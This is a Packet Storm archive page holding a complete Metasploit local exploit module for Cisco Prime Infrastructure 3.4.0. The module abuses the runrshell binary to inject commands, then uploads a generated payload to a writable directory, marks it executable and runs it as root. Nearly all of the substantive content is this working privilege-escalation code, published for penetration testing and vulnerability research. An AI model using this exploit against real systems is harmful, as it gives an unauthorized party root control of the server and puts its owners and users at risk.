what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco Prime Infrastructure Runrshell Privilege Escalation

Cisco Prime Infrastructure Runrshell Privilege Escalation
Posted Jun 19, 2019
Authored by sinn3r, Pedro Ribeiro | Site metasploit.com

This Metasploit modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The runrshell binary is meant to execute a shell script as root, but can be abused to inject extra commands in the argument, allowing you to execute anything as root.

tags | exploit, shell, root
systems | cisco
SHA-256 | 2c36a878b4e9bd45ad81ca8fb24a7604744f9f005ad314f116c110e64106d9a4

Cisco Prime Infrastructure Runrshell Privilege Escalation

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super( update_info( info,
'Name' => 'Cisco Prime Infrastructure Runrshell Privilege Escalation',
'Description' => %q{
This modules exploits a vulnerability in Cisco Prime Infrastructure's runrshell binary. The
runrshell binary is meant to execute a shell script as root, but can be abused to inject
extra commands in the argument, allowing you to execute anything as root.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>', # First discovery
'sinn3r' # Metasploit module
],
'Platform' => ['linux'],
'Arch' => [ARCH_X86, ARCH_X64],
'SessionTypes' => ['shell', 'meterpreter'],
'DisclosureDate' => '2018-12-08',
'Privileged' => true,
'References' =>
[
['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/cisco-prime-infrastructure.txt#L56'],
],
'Targets' =>
[
[ 'Cisco Prime Infrastructure 3.4.0', {} ]
],
'DefaultTarget' => 0
))

register_advanced_options [
OptString.new('WritableDir', [true, 'A directory where we can write the payload', '/tmp'])
]
end

def exec_as_root(cmd)
command_string = "/opt/CSCOlumos/bin/runrshell '\" && #{cmd} #'"
vprint_status(cmd_exec(command_string))
end

def exploit
payload_name = "#{Rex::Text.rand_text_alpha(10)}.bin"
exe_path = Rex::FileUtils.normalize_unix_path(datastore['WritableDir'], payload_name)
print_status("Uploading #{exe_path}")
write_file(exe_path, generate_payload_exe)
unless file?(exe_path)
print_error("Failed to upload #{exe_path}")
return
end

register_file_for_cleanup(exe_path)
print_status('chmod the file with +x')
exec_as_root("/bin/chmod +x #{exe_path}")
print_status("Executing #{exe_path}")
exec_as_root(exe_path)
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close